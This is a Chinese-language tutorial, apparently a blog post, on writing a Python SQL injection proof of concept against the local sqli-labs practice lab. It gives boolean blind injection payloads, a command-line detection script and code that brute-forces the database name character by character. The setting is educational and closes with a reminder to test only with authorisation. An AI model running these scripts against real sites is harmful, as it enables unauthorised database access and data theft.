别再死记硬背了!用Python requests库5分钟写一个SQL注入POC(附sqli-labs实战)
用Python requests库5分钟打造SQL注入检测工具:从手工测试到自动化POC的实战跨越
当你第一次听说"POC"这个词时,是不是感觉它像某种神秘的黑客咒语?其实揭开这层神秘面纱后,你会发现它不过是把你在浏览器里反复点击的手工操作,用几行代码自动化而已。今天我们就用Python中最简单的requests库,带你完成从"手工测试菜鸟"到"自动化POC编写者"的关键一跃。
1. 为什么你需要从手工测试升级到POC
在安全测试的初级阶段,我们往往习惯于在浏览器地址栏不断修改参数,或者用Burp Suite重复发送几乎相同的请求。这种手工方式存在三个致命缺陷:
- 效率低下:每次修改参数都需要手动操作,测试10个参数就要重复10次相同动作
- 容易遗漏:人工判断响应结果时,细微的差异可能被忽视
- 不可复用:今天的测试成果无法直接用于明天的其他项目
POC(概念验证)的本质,就是把你的手工测试流程转化为可重复执行的代码。想象一下,当你发现某个SQL注入漏洞后,只需运行一个脚本就能自动验证所有类似的接口——这就是POC带来的效率革命。
初学者常见误区:认为POC必须完美无缺才能开始写。实际上,就像学游泳必须先下水一样,POC编写的最佳方式是先做出最小可行版本,再逐步完善。
2. 环境准备:5分钟快速搭建实验靶场
在开始编写代码前,我们需要一个安全的实验环境。推荐使用经典的sqli-labs靶场,它专为SQL注入学习设计,包含从易到难的各种注入场景。
2.1 安装Docker版sqli-labs
如果你已经安装Docker,只需一行命令即可启动靶场:
docker run -d -p 80:80 --name sqli-labs acgpiano/sqli-labs启动后访问http://localhost/Less-1/即可看到第一关的界面。今天我们以第8关(布尔盲注)为例,因为它最能体现自动化检测的价值。
2.2 手工测试理解漏洞原理
在编写POC前,先手工测试理解漏洞特征:
- 访问
http://localhost/Less-8/?id=1'观察页面变化 - 尝试构造真/假条件:
- 真条件:
id=1' and 1=1 --+应返回正常页面 - 假条件:
id=1' and 1=2 --+应返回异常页面
- 真条件:
这种基于布尔逻辑的响应差异,正是我们编写检测脚本的基础。
3. 从零编写你的第一个POC脚本
现在进入核心环节——用Python的requests库将手工测试自动化。我们会分三步实现一个基础但完整的布尔盲注检测工具。
3.1 基础检测逻辑实现
创建一个新文件bool_blind_poc.py,写入以下代码:
import requests TARGET_URL = "http://localhost/Less-8/" PAYLOAD_TRUE = "?id=1' AND 1=1 --+" # 恒真条件 PAYLOAD_FALSE = "?id=1' AND 1=2 --+" # 恒假条件 def check_vulnerability(): # 发送真条件请求 response_true = requests.get(TARGET_URL + PAYLOAD_TRUE) # 发送假条件请求 response_false = requests.get(TARGET_URL + PAYLOAD_FALSE) # 对比响应差异 if response_true.status_code == 200 and response_false.status_code == 200: if len(response_true.content) != len(response_false.content): print("[+] 漏洞存在!布尔盲注检测成功") else: print("[-] 未检测到明显的布尔响应差异") else: print("[!] 请求异常,请检查目标是否可用") if __name__ == "__main__": check_vulnerability()这个脚本实现了最基本的检测逻辑:
- 分别发送真/假条件请求
- 对比响应内容的长度差异
- 根据差异判断漏洞存在性
3.2 添加参数化设计
为了让脚本更具通用性,我们改进为接受外部参数:
import requests import argparse def check_vulnerability(target_url, param_name): payload_true = f"?{param_name}=1' AND 1=1 --+" payload_false = f"?{param_name}=1' AND 1=2 --+" try: response_true = requests.get(target_url + payload_true) response_false = requests.get(target_url + payload_false) if response_true.status_code == 200 and response_false.status_code == 200: return len(response_true.content) != len(response_false.content) except Exception as e: print(f"[!] 请求发生错误: {str(e)}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description='SQL注入布尔盲注检测工具') parser.add_argument('-u', '--url', required=True, help='目标URL') parser.add_argument('-p', '--param', required=True, help='测试参数名') args = parser.parse_args() if check_vulnerability(args.url, args.param): print(f"[+] {args.url} 存在SQL注入漏洞(参数:{args.param})") else: print(f"[-] {args.url} 未检测到SQL注入")现在你可以这样使用脚本:
python bool_blind_poc.py -u "http://localhost/Less-8/" -p "id"3.3 响应差异的智能判断
基础的响应长度对比有时不够准确,我们引入更智能的差异检测:
from difflib import SequenceMatcher def response_similarity(resp1, resp2): """计算两个响应的相似度(0-1)""" return SequenceMatcher(None, resp1.text, resp2.text).ratio() def check_vulnerability(target_url, param_name): # ...(保持之前的请求代码) similarity = response_similarity(response_true, response_false) return similarity < 0.9 # 相似度低于90%认为存在漏洞这种方法通过文本相似度比较,能更准确地识别微妙的响应差异。
4. POC进阶:从检测到信息获取
基础的漏洞检测只是开始,真正的POC应该能够获取有价值的信息。我们扩展脚本实现数据库名探测功能。
4.1 探测数据库名长度
def get_dbname_length(target_url, param_name): """通过二分法探测数据库名长度""" low, high = 1, 30 # 假设长度不超过30 normal_response = requests.get(target_url + f"?{param_name}=1").text while low <= high: mid = (low + high) // 2 payload = f"?{param_name}=1' AND LENGTH(DATABASE())>{mid} --+" response = requests.get(target_url + payload).text if response == normal_response: low = mid + 1 else: high = mid - 1 return low4.2 逐字符爆破数据库名
import string def get_dbname(target_url, param_name, length): """爆破数据库名""" dbname = "" chars = string.ascii_lowercase + string.digits + "_" normal_response = requests.get(target_url + f"?{param_name}=1").text for i in range(1, length+1): for char in chars: payload = f"?{param_name}=1' AND SUBSTRING(DATABASE(),{i},1)='{char}' --+" if requests.get(target_url + payload).text == normal_response: dbname += char break return dbname使用方式:
db_length = get_dbname_length(TARGET_URL, "id") print(f"数据库名长度: {db_length}") db_name = get_dbname(TARGET_URL, "id", db_length) print(f"数据库名: {db_name}")5. 生产环境POC的优化方向
当你掌握了基础POC编写后,还需要考虑以下优化点使脚本更适合真实场景:
性能优化表:
| 优化方向 | 具体措施 | 效果提升 |
|---|---|---|
| 并发请求 | 使用requests.Session()或aiohttp | 减少TCP连接开销 |
| 智能检测 | 结合正则和统计学方法 | 提高检测准确率 |
| 错误处理 | 添加超时、重试机制 | 增强稳定性 |
| 结果输出 | 支持JSON/CSV格式 | 便于集成到其他工具 |
安全注意事项:
- 始终在授权范围内测试
- 添加适当的请求延迟避免对目标造成压力
- 敏感操作前添加确认提示
在真实项目中,你可能会选择成熟的POC框架如Pocsuite3,但理解底层原理能让你更好地使用和定制这些框架。记住,每个专家都是从第一个简单的脚本开始的——你今天写的这几行代码,可能就是通往专业安全研究之路的第一步。
